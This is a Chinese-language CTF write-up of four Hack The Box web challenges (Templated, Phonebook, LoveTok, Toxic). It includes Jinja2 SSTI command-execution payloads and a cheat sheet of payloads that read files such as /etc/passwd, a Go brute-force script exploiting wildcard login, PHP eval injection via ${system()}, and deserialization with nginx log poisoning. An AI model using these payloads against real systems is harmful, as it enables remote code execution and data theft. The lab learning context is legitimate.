HTB Challenges—Web
n3ym4r

Templated

打开页面,有提示说是Flask/jinja2框架搭建,以及靶机标题templated判断为ssti模板注入

1

输入9测试

2

回显9,确定为ssti模板注入

1

http://178.128.171.82:31589/{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls ').read()") }}
{% endif %}
{% endfor %}

3

回显了目录列表,查看flag.txt

图片

拿到flag

这里是典型的python-Flask模板注入,一些基础payload:

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').r

Phonebook

打开页面是一个登录框

图片

看到登录框,第一反应为sql注入,试一下万能密码admin' or '1'='1不行,然后fuzz一下,看有没有SQL注入,没有成功。

尝试通配符登录,用户名密码都填*,登录成功

图片

是一个查询用户电话号码的搜索页面,到处瞅瞅页面没啥问题

问题回到那个登录框,将用户名改为页面下留言的Reese,密码为*,登录成功

将用户名改成其他,密码为*,无法登录

也就是说登录用户名确定为Reese,猜测密码即为flag,flag格式为HTB{},将密码改为H*,发现登录成功,说明猜测没错接下来就是写个脚本爆破出flag值。脚本原理即为一位一位遍历,后面加上一个通配符,前面一位是对的时,会登录成功,否则登录失败。

go脚本如下:

package main

import (
    "bytes"
    "fmt"
    "io/ioutil"
    "net/http"
    "strings"
)

func main() {
    url := "http://144.126.228.187:30674/login"
    client := &http.Client{}
    chars := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.?!_}"
    flag := "HTB{"
    password := ""
    for i := 0; i < len(chars); i++ {
        password = flag + string(chars[i]) + "*"
        fmt.Printf("[-] testing %s", password)
        data := []byte("username=Reese&password=" + password)
        req, _ := http.NewRequest("POST", url, bytes.NewBuffer(data))
        req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0")
        req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
        resp, err := client.Do(req)
        if err != nil {
            fmt.Println("Error:", err)
        }
        defer resp.Body.Close()

        if resp.StatusCode == 200 {
            bodyBytes, _ := ioutil.ReadAll(resp.Body)
            bodyString := string(bodyBytes)

            if strings.Contains(bodyString, "No search results") {
                flag += string(chars[i])
                fmt.Println(" success")
                fmt.Printf("[+] %s\n", flag)
                break
            }
        }
        fmt.Println(" failed")

        if flag[len(flag)-1] == '}' {
            break
        }
    }

    fmt.Printf("flag: %s\n", flag)
}

LoveTok

题目给了源码,下载下来查看

打开页面,点击最底下的按钮出现format参数,猜测这个参数有利用点,去源码中找到此参数

图片

在TimeModel.php中找到了$format

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->format = addslashes($format);

        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }

    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}

这里用了addslashes()——– 使用反斜线引用字符串

注意下面有个eval()函数,将$this->format包含在了里面,也就意味着,我们可以控制format的值来进行eval()执行代码。

所以,第一步绕过addslashes()的转义

使用php复杂变量进行绕过

https://www.programmersought.com/article/30723400042/

简单来说,${phpinfo()},会先执行phpinfo(),然后将返回值作为变量名

图片

这里“还是会被转义,所以需要换个方式,不使用到这些字符

图片

?format=${system($_GET[1])}&1=ls

图片

?format=${system($_GET[1])}&1=ls /

图片

?format=${system($_GET[1])}&1=cat /flagLpfG2

图片

拿到flag,这就是一道php命令执行的题。

Toxic

给了源码

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);

这里可以看到,cookie是文件读取目录经过序列化之后再进行base64编码后生成的

抓个包

image

decode

image

所以我们可以逆向去读取敏感文件

image

成功读取

image

注意到最后一行,nginx,想到日志文件包含

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开。

尝试读一下

image

image

可以看到日志文件为请求头文件

那么我们可以将请求头中的User-Agent字段更改为恶意代码,这样就会自动写入日志文件中,然后被执行。

image

再次访问日志文件,之前更改了ua的访问已经被记录

image

php代码也已经被执行,回显了flag